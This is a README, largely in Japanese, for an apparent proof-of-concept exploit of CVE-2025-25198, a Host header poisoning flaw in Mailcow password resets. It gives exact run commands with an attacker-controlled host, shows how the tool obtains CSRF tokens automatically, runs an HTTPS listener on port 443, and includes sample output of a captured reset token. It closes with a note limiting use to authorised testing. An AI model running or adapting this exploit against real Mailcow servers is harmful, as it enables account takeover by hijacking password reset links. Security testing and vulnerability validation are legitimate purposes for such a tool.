
CVE-2025-25198 の PoC: Mailcow 向け自動 Host ヘッダーポイズニングテスト — HTTPS リスナー、Cookie/CSRF の自動処理、最初のリセットリンクを取得
Mailcow のパスワードリセットフローに影響する Host ヘッダーポイズニング(Host ヘッダー汚染)問題である CVE-2025-25198 の概念実証(PoC)です。
このスクリプトは、ポート 443 でローカル HTTPS リスナーを起動し、有効な CSRF トークンを自動的に取得して、細工した Host ヘッダー付きでパスワードリセット処理を送信します。HTTP レスポンスまたはリスナーへのコールバックのいずれかからリセットリンクを取得すると停止します。
Host ヘッダーでリセットフローを送信します。Python 3.8+
OpenSSL in PATH
sudo/root privileges to bind port 443
Inbound TCP/443 reachable from the target
依存関係のインストール:
pip install -r requirements.txt
山かっこ(< >)で囲まれた値はプレースホルダーです。ご自身の値に置き換え、< と > の文字は含めないでください。
sudo python3 cve_2025_25198.py \
--listen-host 0.0.0.0 \
--base-url <MAILCOW_URL> \
--username <MAILBOX> \
--attacker-host <ATTACKER_HOST> \
--http2
<MAILCOW_URL> # Target Mailcow base URL. Example: https://mail.example.com
<MAILBOX> # Mailbox/user passed to the reset form. Usually an email address.
<ATTACKER_HOST> # IP or DNS name that the target can reach on TCP/443.
sudo python3 cve_2025_25198.py \
--listen-host 0.0.0.0 \
--base-url https://mail.cows.com \
--username [email protected] \
--attacker-host 10.10.13.12 \
--http2
出力例:
[2026-05-17T18:30:12Z] [+] HTTPS listener on https://0.0.0.0:443
[2026-05-17T18:30:13Z] [+] Auto CSRF: 0123456789abcdef...
[2026-05-17T18:30:13Z] [>] Sending sequence with poisoned Host
[2026-05-17T18:30:14Z] [HIT] GET /reset-password?token=AAAA-BBBB-CCCC-DDDD ← 10.10.13.12 [200]
╔════════════════════════════════════════════════════════════════════════════════╗
║ RESET LINK FOUND! (listener) ║
╟════════════════════════════════════════════════════════════════════════════════╢
║ https://mail.cows.com/reset-password?token=AAAA-BBBB-CCCC-DDDD ║
║ Target: mail.cows.com ║
╚════════════════════════════════════════════════════════════════════════════════╝
--http2
Use HTTP/2 via httpx. Recommended for best parity with modern browsers.
--interval <seconds>
Seconds between attempts and listener wait windows. Default: 8
--max-attempts <N>
Stop after N attempts. Default: 0, which means retry indefinitely.
--cookie '<pairs>'
Seed the client cookie jar manually.
Example: --cookie 'PHPSESSID=abcdef123456; another=value'
--csrf <TOKEN>
Use a known CSRF token instead of auto-discovery.
--only-final
Hide progress logs and print only the final reset-link banner.
443 にバインドされます。443 へのバインドに sudo または root 権限が必要です。https://<ATTACKER_HOST>/ に到達できる必要があります。server.pem と server.key は存在しない場合に自動生成されます。この PoC は、許可されたセキュリティテスト、ラボ環境、および脆弱性の検証を目的としています。 明示的な許可なくシステムに対して使用しないでください。